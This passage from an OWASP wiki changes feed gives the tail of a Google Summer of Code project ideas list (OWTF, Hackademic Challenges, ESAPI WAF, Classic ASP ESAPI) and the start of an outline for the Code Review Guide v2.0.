* Reduce the interactive report load and improve responsiveness: Big reports can take a few seconds to load and warnings like &amp;quot;this site is not responding&amp;quot; are undesired, we would like to reduce the HTML and JavaScript load to make the report faster to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Additional Information and Suggestions (based on student questions):'''&lt;br /&gt;
&lt;br /&gt;
* Play with the interactive reports to see where we are now (get the OWTF 0.15 one, &amp;lt;b&amp;gt;no need to install anything&amp;lt;/b&amp;gt;): [https://github.com/7a/owtf_demos https://github.com/7a/owtf_demos]&lt;br /&gt;
* Reports are created with [https://github.com/7a/owtf/tree/master/framework/report https://github.com/7a/owtf/tree/master/framework/report] and [https://github.com/7a/owtf/tree/master/includes https://github.com/7a/owtf/tree/master/includes] producing interactive reports such as [https://github.com/7a/owtf_demos https://github.com/7a/owtf_demos]&lt;br /&gt;
* How it works at the moment: Each plugin creates its own small report which is loaded by the main report in an iframe, this will make more sense when you play with the interactive demos and look at the source.&lt;br /&gt;
* How the report is meant to be used: I would suggest to watch the live demos in this talk to get the drift of this (Demos start after 1h approx.): [http://www.rubcast.rub.de/index2.php?id=1009 http://www.rubcast.rub.de/index2.php?id=1009]&lt;br /&gt;
* How the report is created now: Each plugin report is created right after each plugin finishes, then the master report is reassembled again: This approach is not very efficient so I am open to alternatives. Not all plugins run tools, some plugins run OWTF checks. But the report will be re-written each time a plugin finishes (using the current approach)&lt;br /&gt;
* Report output file formats at the moment are: .txt (for tool output and some checks) and .html (for tool output and the report itself)&lt;br /&gt;
* Project documentation links: [https://github.com/7a/owtf/tree/master/readme https://github.com/7a/owtf/tree/master/readme], [https://github.com/7a/owtf/wiki https://github.com/7a/owtf/wiki], [http://www.slideshare.net/abrahamaranguren/presentations http://www.slideshare.net/abrahamaranguren/presentations]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* The first reaction when an OWASP OWTF users opens the report is now &amp;quot;wow&amp;quot;&lt;br /&gt;
* The report is reliable and easy to work with, even when more than 30 URLs have been assessed (i.e. a lot of data in the report does not crash or make the browser slow)&lt;br /&gt;
* The improved design is lightweight and keeps the browser responsive at all times&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
HTML, JavaScript, CSS and a bit of Python. Web Designer background or experience would be beneficial for this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Multiprocessing ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
OWASP OWTF can be quite slow when scanning multiple URLs simultanously due to not scanning several hosts in parallel. We would like to use the multiprocessing python library over the threading one to take full advantage of multi-core processors without the global interpreter lock (GIL) issues associated with the threading libary :)&lt;br /&gt;
* We would like to scan in parallel several websites when on a different IP: &lt;br /&gt;
* We would like to monitor the host machine resources to avoid crashing it before spawning new processes :)&lt;br /&gt;
* We would like to run plugins in parallel as much as possible but without compromising integrity: Using file locks where appropriate and so on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Additional Information (based on student questions):'''&lt;br /&gt;
&lt;br /&gt;
OWTF works by targets, where a target can be:&lt;br /&gt;
* A URL: For web plugins&lt;br /&gt;
* Anything else (i.e. an email, an IP address): For aux plugins&lt;br /&gt;
&lt;br /&gt;
This is done here: [https://github.com/7a/owtf/blob/master/framework/plugin/plugin_handler.py#L257 https://github.com/7a/owtf/blob/master/framework/plugin/plugin_handler.py#L257]&lt;br /&gt;
&lt;br /&gt;
For multiprocessing you would probably need to change the following so that a new process is launched for each IP address:&lt;br /&gt;
[https://github.com/7a/owtf/blob/master/framework/plugin/plugin_handler.py#L271 https://github.com/7a/owtf/blob/master/framework/plugin/plugin_handler.py#L271]&lt;br /&gt;
&lt;br /&gt;
The way it works is that the plugin handler sends URLs to the plugins, so plugins are responsible for the checks while the plugin handler is responsible for distributing the work. This means multiprocessing will require changing the plugin handler but should not require to change the plugins (at least most of them).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Reliability&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, multiprocessing experience would be beneficial for this, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - SQL database ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
OWASP OWTF scans may take a large amount of disk space due to saving information in text files, we would like to add an option to use a SQL database, probably using the sqlalchemy python library.&lt;br /&gt;
* Keep the current text file format as an option&lt;br /&gt;
* Add a database storage option using the sqlalchemy library &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Reliability: Both with the sql database option and the text file options.&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, sqlalchemy experience would be beneficial for this&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Unit Test Framework ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
As OWASP OWTF grows it makes sense to build custom unit tests to automatically re-test that functionality has not been broken. In this project we would like to create a unit testing framework so that creating OWASP OWTF unit tests is as simple as possible. The goal of this project is to create the Unit Test Framework and as many unit tests as possible to verify OWASP OWTF functionality.&lt;br /&gt;
&lt;br /&gt;
The Unit Test Framework should be able to:&lt;br /&gt;
* Define test categories: For example, &amp;quot;all plugins&amp;quot;, &amp;quot;web plugins&amp;quot;, &amp;quot;aux plugins&amp;quot;, &amp;quot;test framework core&amp;quot;, etc. (please see [http://www.slideshare.net/abrahamaranguren/introducing-owasp-owtf-workshop-brucon-2012 this presentation] for more background)&lt;br /&gt;
* Allow to regression test isolated plugins (i.e. &amp;quot;only test _this_ plugin&amp;quot;)&lt;br /&gt;
* Allow to regression test by test categories (i.e. &amp;quot;test only web plugins&amp;quot;)&lt;br /&gt;
* Allow to regression test everything (i.e. plugins + framework core: &amp;quot;test all&amp;quot;)&lt;br /&gt;
* Produce meaningful statistics and easy to navigate logs to identify which tests failed and ideally also hints on how to potentially fix the problem where possible&lt;br /&gt;
* Allow for easy creation of _new_ unit tests specific to OWASP OWTF&lt;br /&gt;
* Allow for easy modification and maintenance of _existing_ unit tests specific to OWASP OWTF&lt;br /&gt;
* Perform well so that we can run as many tests as possible in a given period of time&lt;br /&gt;
* Potentially leverage the python unittest library: [http://docs.python.org/2/library/unittest.html http://docs.python.org/2/library/unittest.html]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Performant and automated regression testing&lt;br /&gt;
* Unit tests for a wide coverage of OWASP OWTF, ideally leveraging the Unit Test Framework where possible&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Python version upgrade and compatibility ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Right now OWASP OWTF works on Python 2.6.5-2.7.3 (might work on surrounding versions too), the aim of this project would be to change the existing codebase so that it additionally works on newer python versions too, for example Python 3.3.&lt;br /&gt;
The intention here is to take advantage of improvements in newer python versions when available while letting OWASP OWTF work on older python versions too (i.e. 2.6.5) if that is the only option available.&lt;br /&gt;
The solution will ideally be as simple and extensible as possible so that the codebase does not become unmaintanable due to compatibility.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Performant and reliable OWASP OWTF execution on multiple python versions, in particular the latest python version (i.e. 3.3.x) as well as the previous 2.6.5-2.7.3 range.&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with python version upgrades and python version compatibility implementations, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP Hackademic Challenges - New challenges and Improvements to the existing ones ===&lt;br /&gt;
&lt;br /&gt;
''''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
The challenges that have been implemented so far include: web application challenges covering several vulnerabilities included in the OWASP Top 10, cryptographic challenges, and entire virtual machines including several vulnerabilities.&lt;br /&gt;
New challenges need to be created in order to cover a broader set of vulnerabilities.&lt;br /&gt;
Also existing challenges can be modified to accept a broader set of valid answers, e.g. by using regular expressions.&lt;br /&gt;
&lt;br /&gt;
Ideas on the project:&lt;br /&gt;
&lt;br /&gt;
* Simulated simple buffer overflows&lt;br /&gt;
* SQL injections&lt;br /&gt;
* Man in the middle simulation&lt;br /&gt;
* Bypassing regular expression filtering&lt;br /&gt;
* Your idea here&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
New cool challenges&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP, HTML and possibly Javascript. Good understanding of Application Security and related vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''' Νοte:  ''''&lt;br /&gt;
The ideas on each proposed project are examples, it would be good if you undertook any of these but we equally value creativity and we are always looking for awesome new features to add to the project, so if you have an idea don't be shy, contact us. :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== OWASP Hackademic Challenges - Source Code testing environment ===&lt;br /&gt;
&lt;br /&gt;
''''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
Existing challenges are based on a dynamic application testing concept. We would like to work on a project that will give the capability to the attacker to review a vulnerable piece of source code, make corrections and see the result in a realistic (but yet safe) runtime environment. The code can either be run if needed or tested for correctness and security. The implementation challenges of such a project can be numerous, including creating a realistic but also secure environment, testing submitted solutions and grading them in an automatic manner. At the same time there are now numerous sites that support submitting code and then simulate or implement a compiler's functionality.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
A source code testing and improvement environment where a user will be able to review, improve and test the result of a piece of source code.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP, HTML and possibly Java. Good understanding of Application Security, source code analysis and related vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''' Νοte:  ''''&lt;br /&gt;
The ideas on each proposed project are examples, it would be good if you undertook any of these but we equally value creativity and we are always looking for awesome new features to add to the project, so if you have an idea don't be shy, contact us. :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== OWASP Hackademic Challenges - CMS improvements ===&lt;br /&gt;
&lt;br /&gt;
''''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
The new CMS was created during last year's GSOC. We have received feedback from users that suggest various improvements regarding functionality e.g. better user, teacher and challenges management. There are also some security improvements that are needed and in general any functionality that adds up to the educational nature of the project is more than welcome.&lt;br /&gt;
&lt;br /&gt;
Ideas on this project:&lt;br /&gt;
&lt;br /&gt;
* '''Plugin api and plugin actions interface'''&lt;br /&gt;
&lt;br /&gt;
An easy way for users to code their own plugins which will modify the appearance of hackademic or add to the functionality.&lt;br /&gt;
&lt;br /&gt;
* '''Ability to show different articles on the user's home screen''' &lt;br /&gt;
&lt;br /&gt;
Now each user is served the latest article in her/his home screen. We need the ability for either  the teacher/admin to be able to define what article each class is served.&lt;br /&gt;
&lt;br /&gt;
* '''Ability to define series of challenges'''&lt;br /&gt;
&lt;br /&gt;
The teacher/admin should be able to define a series of challenges (e.g. 2,5,3,1) which are meant to be solved in that order and if one is not solved then the student can't try the next one.&lt;br /&gt;
&lt;br /&gt;
* ''' Tagging of articles, users, challenges '''&lt;br /&gt;
&lt;br /&gt;
A user should be able to put tags on articles and challenges if he is a student and on users, classes, articles and challenges if he is a teacher.&lt;br /&gt;
Also the user should be able to search according to the tags.&lt;br /&gt;
&lt;br /&gt;
* '''Your idea here''' &lt;br /&gt;
&lt;br /&gt;
We welcome new ideas to make the project look awesome.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
New features  and security improvements on the CMS part of the project.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP and HTML. Good understanding of Application Security and related vulnerabilities if you undertake security improvements. &lt;br /&gt;
&lt;br /&gt;
'''' Νοte:  ''''&lt;br /&gt;
The ideas on each proposed project are examples, it would be good if you undertook any of these but we equally value creativity and we are always looking for awesome new features to add to the project, so if you have an idea don't be shy, contact us. :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
===OWASP ESAPI/Java WAF - Release level===&lt;br /&gt;
'''Description:'''&lt;br /&gt;
[[OWASP_WAF_Project]] is an embedded WAF based on [[The_ESAPI_Web_Application_Firewall_(ESAPI_WAF)]] Web Application Firewall. Unlike other open source solutions. JAVA WAF works as a java filter and thus integrates with protected application in an natural way. Also, since the WAF is embedded into the application it &amp;quot;travels&amp;quot; with it, this is, migrating a protected application to another environment does not imply reinstallation, reconfiguration or any additional effort that might render the application unprotected at any time after WAF is initially configured.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' ESAPI WAF is beta level and provides good protection as it is. However, some synchronization issues identified, lack of compatibility with any other OWASP tools and massive lack of documentation, made it hard to use. Final result of the project will be a production/release level WAF with massive Unit testing of all functionality, ModSecurity log format, user friendly documentation (including a user guide, examples of protection using WebGoat or Swingset) and proven stability by doing basic performance testing.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Java Web and Java Filter programming, JUnit unit testing. Filter programming is simple so it is not really a prerequisite as could be learned in short time. It is desirable to be familiar with Request and response Wrappers, and mod-security logs.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:jcmax |Juan Carlos Calderon]]&lt;br /&gt;
&lt;br /&gt;
===OWASP Classic ASP ESAPI rewrite===&lt;br /&gt;
'''Description:'''&lt;br /&gt;
[[Classic_ASP_Security_Project]] is a port of the famous ESAPI for Java. In particular, Classic ASP version works with ASP.NET port by using Interop. However interop technology is not stable and has many issues like many requirements to  work properly, non understandable error messages, unexpected errors and dependencies to third party libraries. Also ASP.NET version of ESAPI is not release level.&lt;br /&gt;
&lt;br /&gt;
25 years later there are still millions of applications on the wild as proven by the massive automated Sql injections targeting Classic ASP pages in later years. An effective solution that does not require complete rewriting of applications is still required.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' A new ESAPI for classic ASP applications that will be based on good old COM+ components or .NET HTTP Modules. This inital version should provide protection against most pervasive issues and thus will include functionality for input validation, output encoding, basic encryption, file and DB based authentication/authorization. If time is left additional ESAPI functionality might be also included. An installation Guide and a comparative of functionality with Java ESAPI. Proper Unit testing for all functionality. No user manual as Java version documentation will be used for that purpose.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Classic ASP, either COM+ (Visual Basic or any C++ COM framework) or ASP.NET HTTP Modules programming. NUnit unit testing. HTTP Module programming is simple so it is not really a prerequisite as could be learned in short time. Experience with JAVA ESAPI is a plus.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:jcmax |Juan Carlos Calderon]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Code_Review_V2_Table_of_Contents&amp;diff=150368</id>
		<title>OWASP Code Review V2 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Code_Review_V2_Table_of_Contents&amp;diff=150368"/>
				<updated>2013-04-23T13:58:52Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= '''OWASP Code Review Guide v2.0:''' =&lt;br /&gt;
&lt;br /&gt;
==Forward==&lt;br /&gt;
# Author - Eoin Keary&lt;br /&gt;
# Previous version to be updated:[[https://www.owasp.org/index.php/Code_Review_Guide_History]]&lt;br /&gt;
# [[CRV2_Forward|Put content here]]&lt;br /&gt;
&lt;br /&gt;
== Code Review Guide Introduction==&lt;br /&gt;
# Author - Eoin Keary&lt;br /&gt;
# Previous version to be updated:[[https://www.owasp.org/index.php/Code_Review_Introduction]]&lt;br /&gt;
# [[CRV2_Introduction|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== What is source code review and Static Analysis ===&lt;br /&gt;
# Author - Zyad Mghazli&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_WhatIsCodeReview|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Manual Review - Pros and Cons ===&lt;br /&gt;
# Author - Ashish Rao&lt;br /&gt;
# New Section&lt;br /&gt;
# Suggestion: Benchmark of different Stataic Analysis Tools  Zyad Mghazli&lt;br /&gt;
# [[CRV2_ManualReviewProsCons|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Why code review ===&lt;br /&gt;
==== Scope and Objective of secure code review ====&lt;br /&gt;
# Author - Ashish Rao&lt;br /&gt;
# [[CRV2_WhyCodeReview|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== We can't hack ourselves secure ===&lt;br /&gt;
# Author - Prathamesh Mhatre&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_CantHackSecure|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== 360 Review: Coupling source code review and Testing / Hybrid Reviews===&lt;br /&gt;
# Author - Ashish Rao&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_360Review|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Can static code analyzers do it all? ===&lt;br /&gt;
# Author - Ashish Rao&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_CanStaticAnalyzersDoAll|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Methodology=&lt;br /&gt;
===The code review approach===&lt;br /&gt;
#Author -  Prathamesh Mhatre&lt;br /&gt;
# [[CRV2_CodeReviewApproach|Put content here]]&lt;br /&gt;
&lt;br /&gt;
==== Preparation and context ====&lt;br /&gt;
# Author - Open&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Preparation]]&lt;br /&gt;
# [[CRV2_PrepContext|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Application Threat Modeling====&lt;br /&gt;
#Author - Andy, Renchie Joan&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/OCRG1.1:Application_Threat_Modeling]]&lt;br /&gt;
# [[CRV2_AppThreatModeling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Understanding Code layout/Design/Architecture====&lt;br /&gt;
#Author - Ashish Rao&lt;br /&gt;
# [[CRV2_CodeLayoutDesignArch|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===SDLC Integration===&lt;br /&gt;
#Author - Andy, Ashish Rao&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Security_Code_Review_in_the_SDLC]]&lt;br /&gt;
# [[CRV2_SDLCInt|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Deployment Models====&lt;br /&gt;
=====Secure deployment configurations=====&lt;br /&gt;
#Author - Ashish Rao&lt;br /&gt;
# [[CRV2_SecDepConfig|Put content here]]&lt;br /&gt;
&lt;br /&gt;
# New Section&lt;br /&gt;
=====Metrics and code review=====&lt;br /&gt;
#Author - Andy&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Metrics]]&lt;br /&gt;
# [[CRV2_MetricsCodeRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Source and sink reviews=====&lt;br /&gt;
#Author - Ashish Rao&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_SourceSinkRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code review Coverage=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
#Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Coverage]]&lt;br /&gt;
# [[CRV2_CodeRevCoverage|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Design Reviews=====&lt;br /&gt;
#Author - Ashish Rao&lt;br /&gt;
*Why to review design?&lt;br /&gt;
**Building security in design - secure by design principle&lt;br /&gt;
**Design Areas to be reviewed&lt;br /&gt;
**Common Design Flaws&lt;br /&gt;
# [[CRV2_DesignRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====A Risk based approach to code review=====&lt;br /&gt;
#Author - Renchie Joan&lt;br /&gt;
#New Section&lt;br /&gt;
*&amp;quot;Doing things right or doing the right things...&amp;quot;&lt;br /&gt;
**&amp;quot;Not all bugs are equal&lt;br /&gt;
# [[CRV2_RiskBasedApproach|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Crawling code====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Crawling_Code]]&lt;br /&gt;
*API of Interest:&lt;br /&gt;
**Java&lt;br /&gt;
**.NET&lt;br /&gt;
**PHP&lt;br /&gt;
**RUBY&lt;br /&gt;
*Frameworks:&lt;br /&gt;
**Spring&lt;br /&gt;
**.NET MVC&lt;br /&gt;
**Structs&lt;br /&gt;
**Zend&lt;br /&gt;
#New Section&lt;br /&gt;
*Searching for code in C/C++&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
&lt;br /&gt;
# [[CRV2_CrawlingCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Code reviews and Compliance====&lt;br /&gt;
#Author -Manual Harti&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Reviews_and_Compliance]]&lt;br /&gt;
# [[CRV2_CodeRevCompliance|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Reviewing by Techincal Control=&lt;br /&gt;
===Reviewing code for Authentication controls===&lt;br /&gt;
#Author - Anand Prakash, Joan Renchie&lt;br /&gt;
# [[CRV2_AuthControls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Forgot password====&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# [[CRV2_ForgotPassword|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Authentication====&lt;br /&gt;
#Author - Anand Prakash, Joan Renchie&lt;br /&gt;
# [[CRV2_Authentication|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====CAPTHCA====&lt;br /&gt;
#Author Larry Conklin, Joan Renchie&lt;br /&gt;
# [[CRV2_CAPTHCA|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Out of Band considerations====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Authentication]]&lt;br /&gt;
# [[CRV2_OutofBand|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code Authorization weakness===&lt;br /&gt;
#Author Ashish Rao&lt;br /&gt;
# [[CRV2_AuthorizationWeaknesses|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Checking authz upon every request====&lt;br /&gt;
#Author - Abbas Naderi, Joan Renchie&lt;br /&gt;
# [[CRV2_CheckAuthzEachRequest|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reducing the attack surface====&lt;br /&gt;
#Author Chris Berberich&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Authorization]]&lt;br /&gt;
# [[CRV2_ReducingAttSurf|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing code for Session handling====&lt;br /&gt;
#Author - Palak Gohil, Abbas Naderi&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Session-Management]]&lt;br /&gt;
# [[CRV2_SessionHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing client side code====&lt;br /&gt;
#New Section&lt;br /&gt;
# [[CRV2_ClientSideCodeIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Javascript=====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# [[CRV2_ClientSideCodeJScript|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====JSON=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeJSon|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Content Security Policy=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeContSecPolicy|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====&amp;quot;Jacking&amp;quot;/Framing=====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# [[CRV2_ClientSideCodeJackingFraming|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====HTML 5?=====&lt;br /&gt;
#Author - Sebastien Gioria&lt;br /&gt;
# [[CRV2_ClientSideCodeHTML5|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Browser Defenses policy=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeBrowserDefPol|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====etc...=====&lt;br /&gt;
&lt;br /&gt;
====Review code for input validation====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_InputValIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Regex Gotchas=====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
#New Section&lt;br /&gt;
# [[CRV2_InputValRegexGotchas|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====ESAPI=====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
#New Section&lt;br /&gt;
# Internal Link: [[https://www.owasp.org/index.php/Codereview-Input_Validation]]&lt;br /&gt;
# [[CRV2_InputValESAPI|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing code for contextual encoding====&lt;br /&gt;
=====HTML Attribute=====&lt;br /&gt;
#Author - Shenai Silva&lt;br /&gt;
# [[CRV2_ContextEncHTMLAttribute|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====HTML Entity=====&lt;br /&gt;
#Author - Shenai Silva&lt;br /&gt;
# [[CRV2_ContextEncHTMLEntity|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Javascript Parameters=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ContextEncJscriptParams|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====JQuery=====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# [[CRV2_ContextEncJQuery|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing file and resource handling code====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FileResourceHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Resource Exhaustion - error handling====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# [[CRV2_ResourceExhaustionErrHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====native calls=====&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
